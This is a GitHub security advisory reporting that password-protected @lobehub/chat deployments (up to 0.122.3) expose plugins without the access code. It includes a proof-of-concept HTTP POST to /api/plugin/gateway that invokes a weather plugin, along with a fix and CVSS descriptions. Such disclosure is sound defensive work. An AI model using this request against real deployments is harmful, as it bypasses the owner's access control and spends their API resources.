@lobehub/chat vulnerable to unauthorized access to plugins

Moderate severity GitHub Reviewed Published Jan 31, 2024 in lobehub/lobe-chat • Updated Jan 31, 2024

Package

npm @lobehub/chat (npm)

Affected versions

<= 0.122.3

Patched versions

0.122.4

Description

Description:

When the application is password-protected (deployed with the ACCESS_CODE option), it is possible to access plugins without proper authorization (without password).

Proof-of-Concept:

Let’s suppose that application has been deployed with following command:
sudo docker run -d -p 3210:3210 -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123 --name lobe-chat lobehub/lobe-chat
Due to the utilization of the ACCESS_CODE, access to the chat is possible only after entering the password:

However, it is possible to interact with chat plugins without entering the ACCESS_CODE.
Example HTTP request:

POST /api/plugin/gateway HTTP/1.1
Host: localhost:3210
Content-Length: 1276

{"apiName":"checkWeatherUsingGET","arguments":"{\n  \"location\": \"London\"\n}","identifier":"WeatherGPT","type":"default","manifest":{"api":[{"description":"Get current weather information","name":"checkWeatherUsingGET","parameters":{"properties":{"location":{"type":"string"}},"required":["location"],"type":"object"}}],"homepage":"https://weathergpt.vercel.app/legal","identifier":"WeatherGPT","meta":{"avatar":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp","description":"Get current weather information for a specific location.","title":"WeatherGPT"},"openapi":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json","systemRole":"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant.

Remediation:

Verify the ACCESS_CODE for HTTP requests to the /api/plugin/: route.

Impact:

Unauthorized access to plugins.

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
